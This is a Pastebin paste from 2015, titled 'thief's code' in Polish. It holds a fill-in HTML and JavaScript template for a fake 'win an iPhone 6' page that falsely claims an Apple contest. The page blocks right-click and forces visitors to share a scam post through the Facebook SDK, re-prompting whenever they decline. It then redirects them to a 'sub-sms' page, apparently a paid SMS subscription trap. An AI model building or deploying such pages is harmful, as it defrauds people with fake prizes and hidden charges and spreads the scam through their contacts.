Guest User

KOD ZŁODZIEJA

a guest
Apr 13th, 2015
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.29 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html
  3. xmlns:fb="http://www.facebook.com/2008/fbml"
  4. xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta content="text/html; charset=UTF-8"
  7. http-equiv="Content-Type">
  8. <title>Zdobądź iPhone 6</title>
  9. <link rel="shortcut icon" href="favicon.ico" />
  10. </head>
  11. <body oncontextmenu="return false">
  12. <style>
  13. body {
  14. background-repeat: repeat-x;
  15. background-image: url('back.png');
  16. background-size: 100%;
  17. background-repeat: no-repeat }
  18. </style>
  19.  
  20. <div id="fb-root" class="fb_reset">
  21. <script type="text/javascript">
  22. //hd
  23. window.fbAsyncInit = function() {
  24. FB.init({appId: 'IDapki', status: true, cookie: true, xfbml: true});
  25. FB.Event.subscribe('edge.create', function(href, widget) {
  26. document.getElementById('share').style.display = "block";
  27. document.getElementById('liked').style.display = "none";
  28. });
  29. /* All the events registered */
  30. FB.Event.subscribe('auth.login', function(response) {
  31. // do something with response
  32. });
  33. FB.getLoginStatus(function(response) {
  34. if (response.session) {
  35. // logged in and connected user, someone you know
  36. }
  37. });
  38. };
  39. (function() {
  40. var e = document.createElement('script');
  41. e.type = 'text/javascript';
  42. e.src = document.location.protocol +
  43. '//connect.facebook.net/en_US/all.js';
  44. e.async = true;
  45. document.getElementById('fb-root').appendChild(e);
  46. }());
  47. function streamPublish(name, description, hrefTitle, hrefLink, userPrompt){
  48. FB.ui(
  49. {
  50. method: 'stream.publish',
  51. message: '',
  52. attachment: {
  53. name: 'Wygraj Telefon Iphone 6!',
  54. caption: 'twoja-strona.pl',
  55. description: ('Kliknij i wygraj jeden z 100 telefonów!'),
  56. href: 'twoja-strona.pl',
  57. media: [{ 'type': 'image', 'src': 'https://tctechcrunch2011.files.wordpress.com/2014/09/iphone-6-plus-front-hand.jpg?w=1279&h=727&crop=1', 'href':'twoja-strona.pl'}],
  58. href: 'twoja-strona.pl'
  59. },
  60. action_links: [
  61. { text: 'Biore udział w konkursie zorganizowanym przez APPLE :D Do wygrania Iphone6 <3', href: 'twoja-strona.pl' }
  62. ],
  63. user_prompt_message: 'text'
  64. },
  65. function(response) {
  66. if (response && response.post_id) {
  67. window.location = "sub-sms.pl";
  68. } else {
  69. alert('Aby wziąść udział w konkursie udostępnij stronę!');
  70. streamPublish();
  71. }
  72. });
  73. }
  74. </script>
  75. <center>
  76. <p align="center">
  77. <img onclick="streamPublish()"
  78. src="tlo.png" border="0"></p>
  79. </div>
  80. </center>
  81. </div>
  82. </body>
  83. </html>
Advertisement
Add Comment
Please, Sign In to add comment